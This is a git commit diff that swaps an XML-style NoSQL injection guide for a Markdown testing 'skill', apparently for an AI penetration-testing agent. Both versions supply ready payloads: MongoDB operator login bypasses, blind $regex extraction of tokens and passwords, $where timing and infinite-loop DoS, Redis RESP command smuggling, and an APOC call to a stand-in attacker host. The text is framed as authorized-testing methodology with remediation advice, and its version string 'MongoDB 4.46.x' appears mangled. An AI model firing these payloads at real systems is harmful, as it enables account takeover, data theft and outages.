feat: add NoSQL injection skill (#404)

Co-authored-by: 0xallam <ahmed39652003@gmail.com>
This commit is contained in:
Sandiyo Christan
2026-05-04 04:19:43 +05:30
committed by GitHub
parent 9fb101282f
commit 6da7315aa3
2 changed files with 288 additions and 266 deletions
@@ -1,266 +0,0 @@
<nosql_injection_guide>
<title>NoSQL INJECTION</title>
<critical>NoSQL injection exploits vulnerabilities in non-relational databases (MongoDB, CouchDB, Redis, Cassandra, etc.) where user input manipulates query logic, operators, or JavaScript execution contexts. Unlike SQL injection, NoSQL attacks often target JSON/BSON structures, query operators, and server-side JavaScript evaluation. Treat every user-controlled input destined for NoSQL queries as untrusted.</critical>
<scope>
- Document stores: MongoDB, CouchDB, Couchbase, Amazon DocumentDB
- Key-value stores: Redis, DynamoDB, Memcached
- Wide-column stores: Cassandra, HBase, ScyllaDB
- Graph databases: Neo4j, ArangoDB, Amazon Neptune
- Integration paths: ODMs (Mongoose, Morphia), REST APIs, GraphQL resolvers, serverless functions
</scope>
<methodology>
1. Identify NoSQL database type from error messages, response patterns, headers, or technology fingerprinting.
2. Determine input format: JSON body, query string, URL path, headers; note how input is parsed and merged into queries.
3. Test operator injection: inject MongoDB operators ($ne, $gt, $regex, $where) or database-specific syntax to alter query logic.
4. Establish extraction channel: boolean-based response diffs, timing via $where/JavaScript, regex-based character extraction, or error messages.
5. Pivot to authentication bypass, data exfiltration, or JavaScript execution depending on database capabilities.
</methodology>
<injection_surfaces>
- JSON body parameters: direct object/operator injection via nested objects or arrays
- Query string: array notation (?username[$ne]=) or JSON-encoded values
- URL path segments: document IDs, collection names in RESTful APIs
- Headers/cookies: session data parsed as JSON, JWT claims used in queries
- GraphQL variables: unvalidated input passed directly to resolvers
- Aggregation pipelines: $match, $lookup, $group stages with user-controlled fields
</injection_surfaces>
<detection_channels>
- Operator-based: inject query operators to modify predicate logic; test $gt/$gte/$lt/$lte/$ne/$eq/$in/$nin and $or/$and/$nor
- Boolean-based: compare true/false predicates; diff status codes, body length, specific content; use $regex for extraction
- Timing-based: use $where sleep payloads when server-side JavaScript is enabled; use heavy regex operations for ReDoS-style delays
- Error-based: provoke type errors, invalid operator errors, or JavaScript runtime exceptions; inspect verbose errors
</detection_channels>
<dbms_primitives>
<mongodb>
- Operators for injection: $ne, $gt, $lt, $gte, $lte, $in, $nin, $or, $and, $regex, $where, $exists, $type
- JavaScript execution: $where clause accepts JavaScript; $function in aggregations (MongoDB 4.4+)
- Version/info: db.version(), db.serverStatus(), db.hostInfo()
- Authentication bypass: {% raw %}{"username": {"$ne": ""}, "password": {"$ne": ""}}{% endraw %}
- Regex extraction: {% raw %}{"password": {"$regex": "^a.*"}}{% endraw %} iterate to extract full value
- $where JavaScript: {% raw %}{"$where": "this.username == 'admin' && this.password.match(/^a/)"}{% endraw %}
- Aggregation injection: $lookup to access other collections, $out to write results
</mongodb>
<couchdb>
- View injection via map/reduce functions (JavaScript execution)
- Mango queries: operator injection similar to MongoDB ($eq, $ne, $gt, $regex, etc.)
- _all_docs, _find endpoints with selector manipulation
- Design document manipulation for persistent code execution
</couchdb>
<redis>
- Command injection via protocol manipulation in poorly sanitized inputs
- Lua script injection: EVAL command with user-controlled scripts
- Key enumeration: KEYS *, SCAN with patterns
- Data exfiltration: GET, HGETALL, LRANGE, SMEMBERS
- Config manipulation: CONFIG SET to modify runtime behavior
- File write via RDB: CONFIG SET dir/dbfilename + SAVE (requires privileges)
</redis>
<cassandra>
- CQL injection: similar to SQL, string concatenation in WHERE clauses
- ALLOW FILTERING abuse for unauthorized data access
- UDF (User Defined Functions) if enabled: Java/JavaScript code execution
</cassandra>
<neo4j>
- Cypher injection: MATCH, WHERE, RETURN clause manipulation
- APOC procedures: apoc.load.json, apoc.cypher.run for extended capabilities
- Label/relationship injection to access unauthorized graph nodes
</neo4j>
</dbms_primitives>
<authentication_bypass>
<mongodb_operators>
- Basic bypass: {% raw %}{"username": "admin", "password": {"$ne": ""}}{% endraw %}
- Always true: {% raw %}{"username": {"$gt": ""}, "password": {"$gt": ""}}{% endraw %}
- Regex wildcard: {% raw %}{"username": "admin", "password": {"$regex": ".*"}}{% endraw %}
- $or injection: {% raw %}{"$or": [{"username": "admin"}, {"admin": true}], "password": {"$ne": ""}}{% endraw %}
- Type coercion: {% raw %}{"username": "admin", "password": {"$type": 2}}{% endraw %} (type 2 = string)
</mongodb_operators>
<query_string_injection>
- Array notation: ?username=admin&password[$ne]=wrongpass
- Nested operators: ?user[username]=admin&user[password][$gt]=
- URL-encoded JSON: ?filter=%7B%22username%22%3A%7B%22%24ne%22%3Anull%7D%7D
</query_string_injection>
</authentication_bypass>
<data_extraction>
<regex_extraction>
- Character-by-character: iterate {% raw %}{"field": {"$regex": "^<known>X"}}{% endraw %} for each position
- Binary search: use character ranges [a-m] vs [n-z] to reduce requests
- Case sensitivity: use $options: "i" for case-insensitive matching
- Special chars: escape regex metacharacters (. * + ? ^ $ { } [ ] \ | ( ))
</regex_extraction>
<boolean_extraction>
- Use $regex or $where to create true/false conditions
- Diff response length, status code, specific strings, or timing
- Extract field names via $exists: {% raw %}{"unknownField": {"$exists": true}}{% endraw %}
</boolean_extraction>
<javascript_extraction>
- $where with conditional: {% raw %}{"$where": "if(this.password[0]=='a'){sleep(5000)}"}{% endraw %}
- Access Object.keys(): {% raw %}{"$where": "Object.keys(this)[0][0]=='u'"}{% endraw %} to enumerate fields
- String operations: substring, charAt for positional extraction
</javascript_extraction>
<aggregation_based>
- $lookup to join with other collections and leak data
- $match with injected operators
- $project to select fields, $group to aggregate sensitive data
</aggregation_based>
</data_extraction>
<javascript_injection>
<where_clause>
- MongoDB $where executes JavaScript on the server; requires server-side JavaScript enabled (often disabled via --noscripting/security.javascriptEnabled)
- Basic: {% raw %}{"$where": "1==1"}{% endraw %} or {% raw %}{"$where": "true"}{% endraw %}
- Sleep for timing: {% raw %}{"$where": "sleep(5000) || true"}{% endraw %}
- Data access: {% raw %}{"$where": "this.password.length > 5"}{% endraw %}
- External calls (if allowed): {% raw %}{"$where": "this.constructor.constructor('return fetch(...)')()"}{% endraw %}
</where_clause>
<function_operator>
- MongoDB 4.4+ $function in aggregation: {% raw %}{"$function": {"body": "function(){...}", "args": [], "lang": "js"}}{% endraw %}
- Server-side JavaScript must be enabled (not disabled via --noscripting)
</function_operator>
<mapreduce>
- Inject into map/reduce functions if user input reaches these contexts
- CouchDB views: JavaScript in map functions
</mapreduce>
</javascript_injection>
<odm_and_framework_issues>
<mongoose>
- Dangerous patterns: find(req.body), findOne(req.query) without sanitization
- $where passthrough: user input reaching $where conditions
- Population/reference injection: manipulating $lookup-like operations
- Schema bypass: __proto__, constructor pollution via JSON parsing
</mongoose>
<morphia_java>
- String concatenation in filters instead of parameterized queries
- Criteria API misuse with raw strings
</morphia_java>
<pymongo>
- eval() usage with user input (deprecated but still dangerous)
- find() with unsanitized dictionaries from JSON input
- Codec manipulation affecting serialization
</pymongo>
</odm_and_framework_issues>
<waf_and_filter_bypasses>
<encoding_tricks>
- URL encoding: %24ne instead of $ne
- Double encoding: %2524ne
- Unicode normalization: using different Unicode representations
- JSON unicode escapes: \u0024ne for $ne
</encoding_tricks>
<operator_alternatives>
- $not instead of $ne: {% raw %}{"field": {"$not": {"$eq": "value"}}}{% endraw %}
- $nin instead of $ne: {% raw %}{"field": {"$nin": ["wrong"]}}{% endraw %}
- $expr with $eq/$ne in aggregation context
</operator_alternatives>
<structure_manipulation>
- Nested objects vs flat: {% raw %}{"a.b": "c"}{% endraw %} vs {% raw %}{"a": {"b": "c"}}{% endraw %}
- Array injection: ["$or", ...] in systems parsing arrays as operators
- Prototype pollution: __proto__, constructor.prototype in JSON
</structure_manipulation>
<comment_injection>
- MongoDB shell: // or /* */ in JavaScript contexts
- Newline injection in string concatenation scenarios
</comment_injection>
</waf_and_filter_bypasses>
<blind_extraction>
<binary_search>
- Use $regex with character ranges: ^[a-m] vs ^[n-z]
- Reduce character space: alphanumeric, then specific ranges
- Position tracking: ^known_prefix[a-m] for next character
</binary_search>
<timing_oracle>
- $where with conditional sleep: {% raw %}if(condition){sleep(N)}{% endraw %}
- ReDoS via pathological regex: ((a+)+)$ with long input
- Heavy operations: sorting large datasets conditionally
</timing_oracle>
<response_differential>
- Track: status codes (200/401/403/500), body length, specific strings, JSON structure
- Normalize responses (hash/length) to reduce noise
- Account for caching and rate limiting affecting responses
</response_differential>
</blind_extraction>
<server_side_injection>
<ssjs_mongodb>
- Server-Side JavaScript (SSJS) when $where, $function, mapReduce are exposed
- Potential for: DoS (infinite loops), data access, limited RCE depending on config
- Check: {% raw %}db.adminCommand({getParameter: 1, javascriptEnabled: 1}){% endraw %}
</ssjs_mongodb>
<dos_attacks>
- ReDoS: {% raw %}{"field": {"$regex": "^(a+)+$"}}{% endraw %} against long strings
- Resource exhaustion: large $in arrays, complex aggregations
- Infinite loops in $where if SSJS is enabled without timeouts
</dos_attacks>
</server_side_injection>
<graphql_nosql>
- Variables passed directly to MongoDB queries: {% raw %}query { user(filter: $input) }{% endraw %}
- Operator injection via GraphQL variables: {% raw %}{"filter": {"password": {"$ne": ""}}}{% endraw %}
- Batching attacks: multiple queries to enumerate data
- Introspection combined with injection for schema-aware attacks
</graphql_nosql>
<validation>
1. Demonstrate operator injection alters query behavior (auth bypass, extra data returned).
2. Show boolean/timing/error oracle confirms control over query predicates.
3. Extract verifiable data: version info, field names, partial sensitive values.
4. Provide minimal reproducible requests with clear injection points.
5. Document database type and version; defenses vary significantly across NoSQL systems.
</validation>
<false_positives>
- Strong typing/schema validation rejecting operator objects
- ODM sanitization stripping $ prefixes from keys
- Parameterized queries where operators cannot be injected
- WAF blocking all $ operators (verify with encoding bypasses first)
- Application logic unrelated to database predicates causing response variations
</false_positives>
<impact>
- Authentication and authorization bypass via manipulated query predicates
- Mass data exfiltration through regex extraction or aggregation manipulation
- Server-side JavaScript execution leading to DoS or limited RCE
- Privilege escalation by modifying user roles/permissions in database
- Denial of service via ReDoS or resource-intensive queries
</impact>
<pro_tips>
1. Start with $ne and $gt operators—they're most commonly injectable and easy to detect.
2. Use boolean oracles first; timing channels are noisier and slower.
3. For MongoDB, always test both JSON body and query string injection vectors.
4. $regex is powerful for extraction but escape special characters properly.
5. Check if SSJS is enabled before investing time in $where payloads.
6. Aggregation pipelines often have weaker validation than simple find() queries.
7. GraphQL + MongoDB is a common vulnerable combination; test variable injection.
8. Monitor for ReDoS potential—useful for both detection and responsible DoS impact assessment.
9. ODMs don't guarantee safety; audit raw query patterns and merge operations.
10. Different NoSQL databases have vastly different capabilities; tailor payloads to the target.
</pro_tips>
<remember>NoSQL injection succeeds where applications trust user input structure, not just values. Validate that input types match expectations, strip or reject query operators from user data, and use ODM features that enforce schemas. The absence of SQL syntax does not mean the absence of injection risk.</remember>
</nosql_injection_guide>
@@ -0,0 +1,288 @@
---
name: nosql-injection
description: NoSQL injection testing covering MongoDB operator injection, authentication bypass, blind extraction, GraphQL variable injection, and Redis/DynamoDB/Elasticsearch/Neo4j-specific attack surfaces
---
# NoSQL Injection
NoSQL injection exploits the mismatch between how applications pass user input to database queries and how the database engine interprets that input. Unlike SQL injection, NoSQL injection frequently involves operator injection (e.g., MongoDB's `$gt`, `$regex`, `$where`) or structure injection (embedding JSON sub-documents). The attack surface is broad: MongoDB is the dominant target, but Redis, Elasticsearch, DynamoDB, Cassandra, CouchDB, and Neo4j each have distinct injection surfaces. GraphQL resolvers passing variables directly into a backing NoSQL filter are a frequent cross-cutting vector.
## Attack Surface
**Input shapes that reach query filters**
- JSON body parameters parsed straight into query objects
- Form fields with bracket notation (`field[$ne]=`) coerced into operator objects by Express, PHP, and similar middleware
- URL-encoded JSON in query strings, headers, and cookies
- GraphQL variables passed directly into resolver-level NoSQL filters
**Code patterns that enable injection**
- Raw filter dicts/objects from user input handed to `find`/`findOne`/`aggregate`
- String concatenation into Cypher / CQL / Redis commands instead of the driver's parameterized form
- ODM passthrough: Mongoose `{strict: false}`, Morphia raw `where()`, PyMongo `find()` with unsanitized JSON dicts (legacy `eval()` is fatal)
- Server-side JavaScript surfaces: `$where`, `$function`, `$accumulator`, CouchDB `_design` views
**Stores in scope**
MongoDB (primary), Redis, Elasticsearch, DynamoDB, Cassandra, CouchDB, Neo4j. Couchbase / DocumentDB / HBase / ScyllaDB / Memcached follow the same operator-injection or command-smuggling models — DocumentDB in particular accepts MongoDB payloads unchanged.
## High-Value Targets
- Login and authentication endpoints (username/password fields)
- Search and filter APIs (catalog, user search, admin lookup)
- Password reset and token lookup flows
- Admin queries filtering by role, plan, or privilege fields
- Endpoints accepting raw JSON objects as query parameters
## Reconnaissance
### Content-Type and Input Shape
- Identify endpoints accepting `application/json` — these can receive operator objects directly
- Identify endpoints accepting `application/x-www-form-urlencoded` — bracket notation `username[$ne]=x` maps to `{username: {$ne: 'x'}}` in many frameworks (Express `body-parser`, PHP)
- Determine whether the backend uses Mongoose, native MongoDB driver, or a REST ODM wrapper
### Error Fingerprinting
- Send malformed JSON: `{"username": {"$gt": ""}}`
- Send bracket notation in form data: `username[$gt]=`
- Look for MongoDB error messages: `MongoError`, `CastError`, `ValidationError`
- Stack traces revealing collection names, field names, driver version
### Operator Probe
Test whether operators pass through to the database:
```json
{"username": {"$gt": ""}, "password": {"$gt": ""}}
```
If authentication succeeds or response differs, operator injection is confirmed.
## Key Vulnerabilities
### MongoDB Authentication Bypass
The classic operator injection against login queries of the form `db.users.findOne({username: input.username, password: input.password})`:
**JSON body injection:**
```json
{"username": {"$ne": null}, "password": {"$ne": null}}
```
Matches the first document where both fields are non-null — typically the first user/admin.
**Form body (bracket notation):**
```
username[$ne]=invalid&password[$ne]=invalid
```
**Variations:**
```json
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$regex": ".*"}, "password": {"$gt": ""}}
{"username": {"$in": ["admin", "administrator", "root"]}, "password": {"$gt": ""}}
```
### Blind Data Extraction via `$regex`
When the query result is not directly reflected but observable (boolean response, redirect, timing), extract field values character by character using `$regex`:
```json
{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^b"}}
...
```
Binary search the character space to minimize requests. Works on any string field (token, reset code, API key).
### `$where` JavaScript Injection
If `$where` operator is enabled (disabled by default in MongoDB 7.0+; MongoDB 4.46.x deprecated it but left `javascriptEnabled` defaulting to `true`), inject arbitrary server-side JavaScript:
```json
{"$where": "function(){return this.role == 'admin'}"} // direct filter — returns matching documents
{"$where": "function(){return this.username == 'admin' && sleep(2000)}"} // timing oracle only — sleep() returns undefined (falsy), so no documents are returned; observe latency
```
`sleep()` is available in older MongoDB for blind extraction via response-time differential.
### `$function` and `$accumulator` (MongoDB 4.4+)
Server-side JavaScript in aggregations. `$function` must live inside an expression context — `$expr`, `$project`, `$addFields`, etc. — not as a top-level filter:
```json
{"$expr": {"$function": {"body": "function(doc){return doc.role == 'admin'}", "args": ["$$ROOT"], "lang": "js"}}}
```
Gated by the same `javascriptEnabled` parameter as `$where`, but reachable through aggregation endpoints — useful when `$where` is filtered at the query layer but aggregation pipelines remain user-influenceable.
### Aggregation Pipeline Injection
`$match`, `$lookup`, and `$project` stages accept the same operator payloads as `find()`. User-controlled `$lookup.from` is the highest-impact variant — it can pivot the query to a different collection (e.g., from `orders` into `users`) and exfiltrate cross-tenant data.
### Redis Command Injection
When Redis commands are constructed by string concatenation:
```python
redis.execute_command(f"SET {user_key} {value}")
```
Inject newline characters (`\r\n`) to inject additional Redis commands (RESP protocol injection):
```
key\r\nSET backdoor attacker_controlled\r\nSET dummy
```
### Elasticsearch Query String Injection
`query_string` and `simple_query_string` accept Lucene syntax. User input flowing directly:
```
q=normal+search → normal results
q=* → all documents
q=role:admin → filter by field
q=_exists_:password_hash → existence probe
```
For Painless script injection via `_update`:
```json
{"script": {"source": "ctx._source.role = params.r", "params": {"r": "admin"}}}
```
If the `source` field is user-controlled, inject arbitrary Painless.
### DynamoDB FilterExpression Injection
PartiQL injection allows expansion of intended queries:
```sql
-- Intended:
SELECT * FROM Users WHERE username = 'input'
-- Injected:
SELECT * FROM Users WHERE username = 'x' OR '1'='1
```
### Cassandra CQL Injection
CQL is SQL-shaped, so injection follows the SQL pattern when input is concatenated instead of bound via `session.prepare()`:
```
username: ' OR '1'='1' ALLOW FILTERING --
username: 'x' OR token(username) > token('a') ALLOW FILTERING --
```
No `SLEEP` or OOB primitive natively — detection is boolean/error-based only.
### CouchDB Mango and View Injection
Mango selectors on `_find` accept operator payloads in the same shape as MongoDB:
```json
POST /db/_find { "selector": {"username": "admin", "password": {"$gt": ""}} }
POST /db/_find { "selector": {"role": {"$regex": "^admin"}} }
```
`_design` document injection — if user input flows into a design doc's `views.<name>.map`, the JavaScript runs server-side in the Couch sandbox on every view query:
```json
{"views": {"x": {"map": "function(doc){ emit(doc._id, doc) }"}}}
```
Also probe `_all_docs?include_docs=true` for unscoped enumeration and check for admin-party misconfigurations (`_users/_all_docs` reachable without auth) before payload work.
### Neo4j Cypher Injection
When user input is concatenated into Cypher rather than passed as a parameter (`$param`):
```python
# Vulnerable
session.run(f"MATCH (u:User {{name: '{name}'}}) RETURN u")
# Injected: name = x'}) RETURN u UNION MATCH (u:User) RETURN u //
```
**APOC abuse** (when `apoc.*` procedures are enabled via `dbms.security.procedures.unrestricted`):
- `CALL apoc.load.json('http://attacker/x')` — SSRF and external data fetch
- `CALL apoc.cypher.run("...", {})` — dynamic query execution from a string
- `CALL dbms.security.listUsers()` — user enumeration on misconfigured Community Edition
### GraphQL Variable Injection
Resolvers passing variables straight into a backing NoSQL filter are a common chained vector:
```graphql
query Login($input: UserFilter!) {
user(filter: $input) { id role }
}
```
With `$input` reaching `db.users.findOne(input)`, send:
```json
{"input": {"username": "admin", "password": {"$ne": ""}}}
```
Use introspection (`__schema`, `__type`) to enumerate which input types accept arbitrary objects — those are the operator-injection candidates.
### Server-Side JavaScript Detection and DoS
Fingerprint SSJS state before investing in `$where` / `$function` payloads:
```javascript
db.adminCommand({getParameter: 1, javascriptEnabled: 1})
```
DoS surface (use only with explicit authorization scope):
- **ReDoS**: `{"field": {"$regex": "^(a+)+$"}}` against long values triggers catastrophic backtracking
- **Large `$in` arrays**: thousands of values force linear scans on unindexed fields
- **Infinite `$where` loops**: `{"$where": "while(true){}"}` if SSJS is enabled without query timeouts
- **Heavy aggregations**: chained `$lookup` across large unindexed collections
## Bypass Techniques
**Type Coercion**
- Send operators as arrays: `{"$gt": [""]}` — some drivers coerce arrays
- Mix string and object types in the same request to trigger parser branches
**Encoding**
- URL-encode brackets: `username%5B%24ne%5D=x``username[$ne]=x`
- Double-encode for WAFs sitting in front of JSON-parsing backends
**Operator Alternatives**
- `$nin` (not in), `$exists: false`, `$type` — alternative operators that reach the same result when `$ne` is filtered
- `$not` wrapping another operator: `{"field": {"$not": {"$eq": "value"}}}`
- `$expr` with `$ne` for complex comparisons: `{"$expr": {"$ne": ["$password", "wrong"]}}`
**Structure Manipulation**
- Dotted-key vs nested object: `{"a.b": "c"}` vs `{"a": {"b": "c"}}` — sanitizers often strip one form but pass the other
- Array vs object operator wrapping: some parsers treat `["$or", ...]` as operator arrays
- Prototype pollution: `__proto__` and `constructor.prototype` keys in JSON bodies polluting Object prototypes consumed downstream by query builders
- `$regex` case-insensitive flag (`"$options": "i"`) widens matches that case-sensitive filters miss
## Testing Methodology
1. **Identify query-receiving endpoints** — login, search, filter, lookup
2. **Determine input format** — JSON body vs form fields vs URL params
3. **Send error-probing payloads** — malformed operator objects; watch for MongoDB/driver errors
4. **Attempt operator injection**`$ne`, `$gt`, `$regex` against login endpoint
5. **Confirm boolean oracle** — response, status, redirect differs between true/false predicates
6. **Extract data blindly** — character-by-character `$regex` on sensitive fields (token, reset code)
7. **Test `$where`** — if older MongoDB version detected, attempt JavaScript sleep-based timing
8. **Probe aggregation endpoints** — inject operators into `filter`/`match`/`sort` fields
9. **Test non-MongoDB stores** — Elasticsearch `query_string`, Redis command construction, DynamoDB PartiQL, CouchDB Mango selectors, Neo4j Cypher concatenation, Cassandra CQL
10. **Test GraphQL resolvers** — submit operator objects via variables on any input type that reaches a NoSQL filter; use `__schema` introspection to enumerate candidates
## Validation
1. Demonstrate authentication bypass: send operator payload, confirm login succeeds for any/first account
2. Extract a verifiable secret (password hash, reset token, API key) via `$regex` blind extraction
3. Show at least two distinct operator payloads working to rule out coincidence
4. Provide before/after: normal request returns 401, injected request returns 200
5. For `$where`: show timing differential with/without `sleep()`
## False Positives
- Framework-level query builder that casts input to string before constructing the query (Mongoose `strict` mode on)
- Input sanitization stripping operator keys before they reach the driver
- Endpoints that accept JSON but cast the `password` field to string — operator object becomes `[object Object]`
- Response differences caused by validation errors, not actual operator execution
## Impact
- Authentication bypass granting access to arbitrary or all accounts
- Full extraction of sensitive fields (tokens, hashed passwords, PII) via blind regex enumeration
- Privilege escalation by querying admin/superuser records directly
- Data exfiltration at scale via widened `$ne`/`$regex`/`$gt` filters
- Server-side JavaScript execution via `$where` on unpatched MongoDB instances
## Pro Tips
1. Always try both JSON body (`{"field": {"$ne": null}}`) and bracket-notation form (`field[$ne]=`) — different middleware handles them differently
2. Target reset token and API key fields with `$regex` extraction, not just passwords
3. Check MongoDB version via error messages or `/admin/serverStatus`; `$where` is active by default on pre-7.0 instances — that includes 4.46.x targets where `javascriptEnabled` was deprecated but not yet disabled, making them still exploitable unless explicitly hardened
4. For Elasticsearch, try `_cat/indices`, `_mapping`, and `_search` with `query_string: *` before attempting script injection
5. Combine authentication bypass with a second request to `/admin` or `/api/users` to escalate impact
6. Automate `$regex` extraction with binary search: 7 requests per character vs 94 with linear search
7. GraphQL resolvers are an underexplored entry point — try operator objects in any input type that reaches a NoSQL filter, and use introspection to find candidate fields
## Summary
NoSQL injection exploits the same root cause as SQL injection — user input controlling query structure — but through operator embedding rather than syntax breaking. MongoDB is the primary target; enforce schema validation, use parameterized equivalents (strict mode, typed schemas), and never pass raw user input as a query object.